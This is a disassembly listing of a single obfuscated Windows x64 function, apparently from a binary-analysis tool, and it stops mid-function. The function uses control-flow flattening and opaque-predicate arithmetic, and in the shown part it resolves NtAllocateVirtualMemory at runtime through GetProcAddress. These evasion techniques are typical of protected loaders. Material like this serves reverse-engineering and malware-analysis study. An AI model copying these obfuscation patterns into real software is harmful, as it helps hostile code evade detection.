Function at 0x1400aeab0
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rax, qword [0x140265008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xbaa5a3c7
and ebp, 0x455a5c38
or ebp, edi
or ecx, ebx
and ebx, 0xbaa5a3c7
and edx, 0x455a5c38
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebp, ecx
not ebp
mov ebx, ecx
xor ebx, 0x3186d7b9
and ebx, ebp
mov edx, ecx
and edx, 0xce792846
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xce797817
and edx, 0x318687e8
or edx, ebx
xor edx, 0x5050
and ebp, 1
xor ecx, 0xfffffffe
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x6f95efd5
and ecx, 0x906a102a
or ecx, ebp
xor ecx, 0x906a102a
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
mov edx, ecx
xor edx, 0x7745bdea
and edx, ecx
not ecx
and ecx, 0x50403820
and ebp, 0x270585ca
or ebp, ecx
xor ebp, 0x270585ca
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x88ba4215
and edx, 0x7745bdea
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x15a817ef
and edx, 0xea57e810
or edx, ecx
mov ecx, edx
xor ecx, 0x28404010
xor edx, 0x580100b
and edx, 0xc797b80b
and ecx, 0x386847f4
or ecx, edx
xor ecx, 0xc797b80b
cmp ecx, 0xffffffff
sete byte [rsp + 0x2e]
cmp eax, 0xa
setl byte [rsp + 0x2f]
mov r12d, 0xcec85de5
mov r15d, 0xe725aede
mov r14d, 0x629a5e25
mov r13d, 0x6b6049a0
mov ecx, 0xb6656dd1
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov eax, dword [0x140265730]
lea edx, [rax - 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
or eax, 1
mov ebp, eax
not ebp
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
mov ebx, eax
and ebx, 0xe67574a6
and ebp, 0x198a8b58
or ebp, ebx
or eax, edx
and edx, 0xe67574a6
and ecx, 0x198a8b59
or ecx, edx
xor ecx, ebp
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, ecx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xbbb968c9
and eax, 0x44469736
or eax, edx
xor eax, 0x44469736
or eax, ecx
cmp eax, 0xffffffff
setne dl
cmp dword [0x14026572c], 0xa
setl bl
mov eax, ebx
xor al, dl
mov ecx, ebx
xor cl, al
not cl
and cl, al
or dl, bl
xor dl, 1
not al
and al, bl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov r8d, ecx
xor r8b, 1
mov ebx, ecx
and bl, r8b
mov edx, ebx
xor dl, 1
xor bl, cl
or dl, r8b
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
and cl, al
xor al, 1
and dl, al
or dl, cl
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x38555346
mov ebp, 0xdec997b1
cmovne ecx, ebp
test al, 1
mov eax, 0x38555346
cmovne eax, ecx
test dl, 1
cmove eax, ecx
mov ecx, eax
nop word [rax + rax]
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
cmp ecx, 0xbe64689f
jg 0x1400aef20
cmp ecx, 0x9b8ad2f8
jg 0x1400af206
cmp ecx, 0x8bb574cc
jle 0x1400af741
cmp ecx, 0x91aa78da
jle 0x1400b0107
cmp ecx, 0x95ea3f72
jle 0x1400b10b4
cmp ecx, 0x98e04cb8
jle 0x1400b2df7
cmp ecx, 0x98e04cb9
je 0x1400b6514
cmp ecx, 0x990d5fad
je 0x1400b652a
cmp ecx, 0x9b6aeb65
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xe1e79a5b
and ecx, edx
not edx
and edx, 0xe1e79a5b
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xe1145a7d
and ecx, 0x1eeba582
or ecx, edx
mov edx, ecx
xor edx, 0xff0c3fd9
mov ebp, ecx
xor ebp, 0xff0c3fd8
and ebp, edx
xor ecx, 0xf3c026
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
not ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x469031c0
and ebp, 0xb96fce3f
or ebp, edi
or ecx, ebx
and ebx, 0x469031c0
and edx, 0xb96fce3f
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xe7210d0
and ecx, 0x2c21
or ecx, edx
mov ebx, ecx
xor ebx, 0x2820
xor ecx, 0x7bc50004
or ebp, 0xe723cf1
mov edx, ebp
not edx
and ecx, 0x7bc50405
and ebx, 0x43238f0
or ebx, ecx
and ebp, 0x7bc50405
and edx, 0x8008c30a
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0xf18dc30e
and edx, 0xe723cf1
or edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xfc3388f1
and edx, 0x3cc770e
or edx, ebp
xor edx, 0xfc3388f1
xor ecx, edx
test ecx, edx
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, r9b
not al
and al, r9b
mov edx, ebx
or dl, r9b
xor al, 1
mov r10d, eax
xor r10b, dl
or al, dl
xor al, 1
or al, r10b
and r9b, bl
or bl, r8b
and cl, r8b
or cl, r9b
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test dl, 1
mov edx, 0x5bbd4c41
mov ebp, 0xcb154f04
cmovne edx, ebp
test cl, 1
mov ecx, edx
mov ebp, 0x5bbd4c41
jmp 0x1400ba791
cmp ecx, 0xd3490aa1
jg 0x1400af568
cmp ecx, 0xcb53fc81
jle 0x1400af87c
cmp ecx, 0xcde1b210
jle 0x1400b02d1
cmp ecx, 0xd0b98c71
jle 0x1400b120a
cmp ecx, 0xd132d8f8
jle 0x1400b2e25
cmp ecx, 0xd132d8f9
je 0x1400b6725
cmp ecx, 0xd15a7d7d
je 0x1400b68d1
cmp ecx, 0xd2010b4d
jne 0x1400aed20
mov ecx, 0x817bd4ca
cmp ecx, 0xe9ca7823
jle 0x1400aed2c
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x38847a3a
jg 0x1400af190
cmp ecx, 0x12de9bd8
jg 0x1400af324
cmp ecx, 0xf9da0914
jle 0x1400afa4f
cmp ecx, 0x44b46ac
jle 0x1400b0317
cmp ecx, 0xa33c279
jle 0x1400b12e4
cmp ecx, 0x1084bee8
jle 0x1400b303e
cmp ecx, 0x1084bee9
je 0x1400b68e7
cmp ecx, 0x10bbf959
je 0x1400b6a13
cmp ecx, 0x116c931a
jne 0x1400aed20
mov ecx, dword [0x140265730]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xb378849c
and edx, eax
or eax, 0x4c877b63
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0x682fd440
and ecx, 0x9350009c
or ecx, ebx
or eax, ebp
and ebp, 0x682fd440
and edx, 0x97d02bbf
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x4c877b63
and eax, 0xb378849c
or eax, ecx
mov ebx, eax
mov ebp, eax
xor ebp, 0x36812a9f
and ebp, eax
not eax
and eax, 0x8e294d9
and ebx, 0xf71d6b26
or ebx, eax
mov eax, ebx
xor eax, 0xf71d6b26
mov edx, ebx
xor edx, 0x3e63be46
and edx, eax
mov esi, edx
not esi
mov edi, ebp
not edi
mov ecx, esi
and ecx, 0x50e30069
and edx, 0xaf1cff96
or edx, ecx
or esi, edi
and edi, 0x50e30069
and ebp, 0xaf1cff96
or ebp, edi
xor ebp, edx
not esi
or esi, ebp
mov edx, esi
not edx
and edx, 0xc97ed561
and esi, 0x36812a9e
or esi, edx
xor ebx, 0x2010c0
and ebx, 0x623470c4
mov edx, eax
and edx, 0x9dcb8f3b
or edx, ebx
xor edx, 0x623470c5
and eax, 1
or eax, edx
mov edx, eax
not edx
mov ecx, esi
not ecx
mov ebp, ecx
and ebp, 0xc326ffc3
and esi, 0x3cd9003c
or esi, ebp
or ecx, eax
and eax, 0xc326ffc3
and edx, 0x3cd9003c
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xef3fc0db
and ecx, 0x10c03f24
or ecx, eax
xor ecx, 0x10c03f24
sete bl
setne cl
cmp dword [0x14026572c], 0xa
setl al
xor cl, al
xor cl, 1
mov edx, eax
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
not cl
xor bl, al
mov eax, ebx
xor al, 1
and bl, dl
or dl, al
and al, cl
or al, bl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x7f8b22c5
mov ebp, 0xc60c248c
cmovne eax, ebp
test dl, dl
mov edx, 0x7f8b22c5
cmovne eax, edx
test cl, cl
jmp 0x1400bb8ce
cmp ecx, 0x5a681ad5
jg 0x1400af4ec
cmp ecx, 0x47012aa6
jle 0x1400afaad
cmp ecx, 0x4fae7dbe
jle 0x1400b035d
cmp ecx, 0x52f57c64
jle 0x1400b1330
cmp ecx, 0x53afb4f9
jle 0x1400b31b8
cmp ecx, 0x53afb4fa
je 0x1400b6aca
cmp ecx, 0x55f6eb13
je 0x1400b6bd7
cmp ecx, 0x5a0d84a2
jne 0x1400aed20
mov ecx, 0xf7099f9f
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xb2c6cb12
jle 0x1400afcdb
cmp ecx, 0xb71c9aa7
jle 0x1400b04e9
cmp ecx, 0xb8abcfa8
jle 0x1400b1544
cmp ecx, 0xba13c3ab
jle 0x1400b32f4
cmp ecx, 0xba13c3ac
je 0x1400b6ca9
cmp ecx, 0xba4c7c0d
je 0x1400b6df0
cmp ecx, 0xbc25ae97
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
mov ebp, edx
xor ebp, 0xfffffffe
and ebp, edx
not edx
mov ebx, edx
and ebx, 0xc42d5ebc
and ecx, 0x3bd2a142
or ecx, ebx
mov ebx, ecx
xor ebx, 0x33d2a100
xor ecx, 0xc42d5ebd
mov edi, ebp
not edi
mov esi, ecx
and esi, 0x4c0114ce
and ebx, 0xb3feeb30
or ebx, esi
or ecx, edi
and edi, 0x4c0114ce
and ebp, 0xb3feeb31
or ebp, edi
xor ebp, ebx
not ecx
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x11466194
and ecx, 0xeeb99e6b
or ecx, ebp
xor ecx, 0xeeb99e6b
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
cmp ecx, 0xffffffff
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
xor dl, cl
xor cl, al
xor dl, 1
or dl, al
xor dl, 1
xor cl, dl
mov eax, ecx
xor al, 1
and dl, al
xor al, dl
test al, 1
mov eax, 0x90a839df
mov ebp, 0x47012aa7
cmovne eax, ebp
test cl, cl
mov ecx, eax
mov ebp, 0x90a839df
jmp 0x1400b92e6
cmp ecx, 0x256b133b
jle 0x1400afe55
cmp ecx, 0x2ec514be
jle 0x1400b05fd
cmp ecx, 0x33c1e8fe
jle 0x1400b1672
cmp ecx, 0x369bba15
jle 0x1400b3400
cmp ecx, 0x369bba16
je 0x1400b6f41
cmp ecx, 0x3749308d
je 0x1400b7055
cmp ecx, 0x38555346
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xc2820227
and edx, ebp
not ebp
and ebp, 0x82820201
and ecx, 0x40000026
or ecx, ebp
mov ebp, ecx
xor ebp, 0x40000026
xor ecx, 0xbfffffd9
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x242dcac8
and ebp, 0xc2820027
or ebp, edi
or ecx, ebx
and ebx, 0x242dcac8
and edx, 0xdbd23537
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x3d7dfdd8
and ecx, 0xc2820227
or ecx, edx
mov ebp, ecx
xor ebp, 1
and ebp, ecx
mov edx, ecx
not edx
and edx, 0xd0021a9c
and ecx, 0x2ffde563
or ecx, edx
mov ebx, ecx
xor ebx, 0x2865e022
mov edx, ebp
not edx
xor ecx, 0xd0021a9d
mov edi, edx
and edi, 0x979a17c4
and ebp, 0x6865e83b
or ebp, edi
or edx, ecx
and ecx, 0x979a17c4
and ebx, 0x6865e83b
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xb63682bf
and ecx, edx
and edx, 0x49c97d40
or edx, ebp
xor edx, 0x49c97d40
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
xor bl, al
and bl, al
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
mov r9d, ecx
and r9b, dl
xor dl, cl
or dl, r9b
xor dl, 1
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, r8b
mov edx, ecx
xor dl, 1
mov ebx, eax
and bl, r8b
xor al, r8b
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x89d077ee
mov ebp, 0x774caa48
cmovne edx, ebp
test al, 1
mov eax, 0x89d077ee
jmp 0x1400b3ba5
cmp ecx, 0x6b465f87
jle 0x1400aff76
cmp ecx, 0x771227cc
jle 0x1400b0748
cmp ecx, 0x79b615e9
jle 0x1400b16ac
cmp ecx, 0x7ac916cc
jle 0x1400b342e
cmp ecx, 0x7ac916cd
je 0x1400b719d
cmp ecx, 0x7e876686
je 0x1400b71b3
cmp ecx, 0x7f8b22c5
jne 0x1400aed20
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xc60c248c
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xe1a4431d
jle 0x1400b00b5
cmp ecx, 0xe53d8b7e
jle 0x1400b0f96
cmp ecx, 0xe53d8b7f
je 0x1400bd5c4
cmp ecx, 0xe6922850
je 0x1400b71c9
cmp ecx, 0xe725aede
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x4e380aa0
and ecx, edx
or edx, 0xb1c7f55f
mov ebp, edx
not ebp
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xbdd929d6
and ebp, 0x42200220
or ebp, edi
or edx, ebx
and ebx, 0xbdd929d6
and ecx, 0x4226d629
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xe78bd33c
and edx, 0x18742cc3
or edx, ecx
mov ebp, edx
xor ebp, 0x54080220
xor edx, 0xa9b3d99c
mov ecx, edx
or ecx, 1
mov ebx, ecx
not ebx
and edx, 0x8ad5a44f
and ebp, 0x752a5bb0
or ebp, edx
mov edx, ebp
xor edx, 0x45085011
xor ebp, 0x8ad5a44e
mov edi, ecx
and edi, 0xb0b2afe6
and ebx, 0x4f4d5018
or ebx, edi
or ecx, ebp
and ebp, 0xb0b2afe6
and edx, 0x4f4d5019
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb206ee11
and ecx, 0x4df911ee
or ecx, edx
mov edx, ecx
xor edx, 0x4c0010e4
xor ecx, 0x20044c11
and ecx, 0x21fd4d1b
and edx, 0xde02b2e4
or edx, ecx
mov ecx, edx
xor ecx, 0x56022260
xor edx, 0x21e00911
and edx, 0xa9e09995
and ecx, 0x561f666a
or ecx, edx
mov edx, ecx
xor edx, 0x80800180
xor ecx, 0x4054640
and ecx, 0x2d65de55
and edx, 0xd29a21aa
or edx, ecx
xor edx, 0xd29a21aa
sete r8b
setne dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
and dl, al
mov ebx, ecx
and bl, r8b
or bl, dl
xor bl, 1
or bl, al
xor cl, r8b
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov r8d, edx
and r8b, cl
xor dl, cl
or dl, r8b
mov r8d, edx
and r8b, bl
mov ecx, ebx
and cl, al
xor al, bl
xor bl, 1
xor dl, 1
and dl, bl
or dl, r8b
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x5e68f1ec
mov ebp, 0x7ac916cd
cmovne eax, ebp
test dl, 1
cmove eax, ebp
test cl, 1
mov ecx, 0x5e68f1ec
jmp 0x1400aed12
cmp ecx, 0x89d077ed
jg 0x1400b078e
cmp ecx, 0x8650a478
jg 0x1400b16e6
cmp ecx, 0x820b8c8a
jg 0x1400b35f4
cmp ecx, 0x8153d0ad
je 0x1400b7329
cmp ecx, 0x817bd4ca
jne 0x1400aed20
mov edx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, ebx
or edx, 0xfe22e6c4
mov ebp, edx
not ebp
mov ecx, ebx
xor ecx, 0x1dd193b
and ecx, ebx
mov esi, ecx
not esi
mov eax, edx
and eax, 0xa380449e
and ebp, 0x5d1921
or ebp, eax
or edx, esi
and esi, 0xa380449e
and ecx, 0x5c7fbb61
or ecx, esi
xor ecx, ebp
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x113dda0f
and edx, 0xeec225f0
or edx, eax
mov eax, edx
xor eax, 0xef1f3cca
xor edx, 0x10a04014
mov ecx, eax
and ecx, 0xa4548f2b
and edx, 0x5bab70d4
or edx, ecx
or eax, ebx
and ebx, 0xa4548f2b
and edi, 0x5bab70d4
or edi, ebx
xor edi, edx
not eax
or eax, edi
cmp eax, 0xffffffff
sete cl
setne r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
xor r9b, bl
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, r9b
xor dl, 1
and al, cl
or bl, cl
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, al
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0x6057b985
mov edx, 0x87960880
cmovne ecx, edx
test bl, 1
mov edx, 0x6057b985
jmp 0x1400b4fc8
cmp ecx, 0xc6d82079
jg 0x1400b08d9
cmp ecx, 0xc2a48f72
jg 0x1400b1720
cmp ecx, 0xbec77771
jg 0x1400b3708
cmp ecx, 0xbe6468a0
je 0x1400b74b8
cmp ecx, 0xbebde1f4
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xb343dc65
and edx, ebp
not ebp
and ebp, 0x2024c45
and ecx, 0xb1419020
or ecx, ebp
mov ebp, ecx
xor ebp, 0x90019020
xor ecx, 0x4ebe6fdf
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x25e86b8f
and ebp, 0x92039460
or ebp, edi
or ecx, ebx
and ebx, 0x25e86b8f
and edx, 0xda179470
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x90168a69
and ecx, 0x6fe97596
or ecx, edx
mov edx, ecx
xor edx, 0xdcaaa9f3
xor ecx, 0x2155100c
mov ebp, edx
and ebp, 0xfffffffe
and ecx, 0xf1f5980f
and edx, 0xe0a67f0
or edx, ecx
xor edx, 0xe0a67f1
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xcae53614
and edx, 0x351ac9eb
or edx, ecx
mov ebx, edx
xor ebx, 0x1120881
xor edx, 0x8000200
or ebp, 0xf120bd3
mov ecx, ebp
not ecx
or edx, 0x7081042c
and edx, 0x7c81076e
and ebx, 0x3120891
or ebx, edx
and ebp, 0x7c81076e
and ecx, 0x806cf000
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xf0edf42c
and ecx, 0xf120bd3
or ecx, edx
setne r8b
sete bl
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
mov eax, r9d
or r9b, bl
or bl, cl
xor bl, 1
or al, r8b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor cl, r8b
mov edx, r9d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r9b
xor cl, 1
or cl, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
and bl, cl
mov r8d, edx
and r8b, cl
xor dl, cl
xor cl, 1
and al, cl
or al, bl
or dl, r8b
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x9b6aeb65
mov ecx, 0xcb154f04
cmovne ebp, ecx
test dl, 1
mov ecx, 0x9b6aeb65
cmovne ecx, ebp
jmp 0x1400bd0f4
cmp ecx, 0xf18efcdf
jg 0x1400b0a58
cmp ecx, 0xeca8f178
jg 0x1400b18f2
cmp ecx, 0xeb6f8acd
jg 0x1400b3736
cmp ecx, 0xe9ca7824
je 0x1400b75ed
cmp ecx, 0xeb01d2fa
jne 0x1400aed20
mov rax, qword [rsp + 0x38]
mov qword [0x140265058], rax
mov ecx, 0x2ec514bf
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x41840c2a
jg 0x1400b0c6e
cmp ecx, 0x3ee6ac9e
jg 0x1400b1a8c
cmp ecx, 0x3e4b8608
jg 0x1400b387a
cmp ecx, 0x38847a3b
je 0x1400b7615
cmp ecx, 0x3a2ff85a
jne 0x1400aed20
mov edx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x7e1c228c
and edx, ecx
and ecx, 0x81e3dd73
or ecx, ebp
xor ecx, 0x81e3dd73
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ecx
xor edx, 0x129a5dcc
mov edi, edx
and edi, ebp
and edx, ecx
mov ebx, edi
not ebx
mov esi, edx
not esi
mov eax, ebx
and eax, 0xf0ddd258
and edi, 0xf222da7
or edi, eax
or ebx, esi
and esi, 0xf0ddd258
and edx, 0xf222da7
or edx, esi
xor edx, edi
not ebx
or ebx, edx
mov eax, ebx
not eax
and eax, 0xed65a232
and ebx, 0x129a5dcd
or ebx, eax
and ecx, 0x1cae2520
mov eax, ebp
and eax, 0xe351dadf
or eax, ecx
xor eax, 0x1cae2521
and ebp, 1
or ebp, eax
mov eax, ebp
not eax
and eax, 0x862e4c62
and ebp, 0x79d1b39d
or ebp, eax
mov eax, ebp
xor eax, 0x60010014
mov edx, ebx
not edx
xor ebp, 0x862e4c62
mov ecx, edx
and ecx, 0x1ddaf7a9
and ebx, 0xe2250856
or ebx, ecx
or edx, ebp
and ebp, 0x1ddaf7a9
and eax, 0xe2250856
or eax, ebp
xor eax, ebx
not edx
or edx, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x560a8cb
and ecx, edx
and edx, 0xfa9f5734
or edx, eax
mov eax, edx
xor eax, 0xb80b0014
xor edx, 0x560a8cb
mov ebp, ecx
not ebp
mov ebx, edx
and ebx, 0x42b4ff63
and eax, 0xbd4b009c
or eax, ebx
or edx, ebp
and ebp, 0x42b4ff63
and ecx, 0xbd4b009c
or ecx, ebp
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xdb491743
and edx, 0x24b6e8bc
or edx, eax
mov eax, edx
xor eax, 0x2036e890
xor edx, 0x99000101
and edx, 0x9d80012d
and eax, 0x627ffed2
or eax, edx
xor eax, 0x9d80012d
cmp eax, 0xffffffff
setne r9b
sete cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg r8b
mov ebx, r8d
xor bl, cl
xor r8b, bl
and r8b, bl
or r9b, dl
xor cl, dl
and cl, dl
mov edx, r9d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r9b
xor cl, 1
or cl, dl
mov edx, r8d
xor dl, 1
mov ebx, r8d
and bl, dl
mov eax, ebx
xor al, 1
xor bl, r8b
or al, dl
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
and bl, cl
xor cl, 1
and al, cl
or al, bl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x43489bd2
mov ebp, 0xd3490aa2
cmovne edx, ebp
test cl, 1
mov ecx, 0x43489bd2
cmovne ecx, edx
jmp 0x1400bb5c9
cmp ecx, 0xa517df76
jg 0x1400b0d88
cmp ecx, 0xa0f4349c
jg 0x1400b1b97
cmp ecx, 0x9e1ccee8
jg 0x1400b39b4
cmp ecx, 0x9b8ad2f9
je 0x1400b762b
cmp ecx, 0x9bba5ff6
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xf718d1f9
and ecx, 0x8e72e06
or ecx, edx
xor ecx, 0x8e72e07
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x559603df
and ecx, 0xaa69fc20
or ecx, edx
mov edx, ecx
xor edx, 0x8049bc00
xor ecx, 0x511201d0
and ecx, 0x7b3241f0
and edx, 0x84cdbe0f
or edx, ecx
xor edx, 0x7b3241f0
cmp edx, 0xffffffff
sete r8b
setne cl
cmp eax, 9
setg r9b
cmp eax, 0xa
setl al
mov edx, ecx
or dl, al
xor cl, al
not cl
and cl, al
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor r9b, r8b
mov edx, eax
and dl, r8b
xor al, r8b
or al, dl
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov r8d, ecx
xor r8b, 1
mov r9d, ecx
and r9b, r8b
and dl, al
mov ebx, r9d
xor bl, 1
xor r9b, cl
or bl, r8b
xor bl, 1
or bl, r9b
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov ecx, ebx
xor cl, 1
and cl, dl
xor dl, 1
and dl, bl
or dl, cl
mov ecx, r8d
and cl, al
xor r8b, al
or r8b, cl
mov eax, r8d
xor al, dl
test al, 1
mov eax, 0xc732eeda
mov ecx, 0x6392e745
cmovne eax, ecx
test r8b, 1
mov ecx, 0xc732eeda
jmp 0x1400bd5aa
cmp ecx, 0x1ed869b6
jg 0x1400b0ec4
cmp ecx, 0x174841ca
jg 0x1400b1bd1
cmp ecx, 0x141c5063
jg 0x1400b3bad
cmp ecx, 0x12de9bd9
je 0x1400b770b
cmp ecx, 0x135d3347
jne 0x1400aed20
mov edx, dword [0x140265730]
mov ecx, dword [0x14026572c]
lea eax, [rdx - 1]
imul eax, edx
mov ebp, eax
not ebp
mov edx, ebp
and edx, 0x1021c101
mov ebx, eax
and ebx, 0xa05e044e
or ebx, edx
xor ebx, 0xa05e044e
and eax, 0x4f803ab0
or eax, ebx
mov edx, eax
not edx
and edx, 0xf4ae0531
and eax, 0xb51face
or eax, edx
xor eax, 0x44d1c07f
mov edx, eax
and edx, ebp
xor eax, ebp
or eax, edx
mov edx, eax
not edx
and edx, 0xb78100fc
and eax, 0x487eff03
or eax, edx
xor eax, 0x487eff03
sete al
setne r8b
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, r8d
and dl, cl
and al, bl
or al, dl
xor cl, r8b
xor cl, 1
mov edx, ebx
xor dl, r8b
or bl, r8b
xor bl, 1
or bl, dl
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
xor dl, al
mov ecx, edx
xor cl, 1
and al, cl
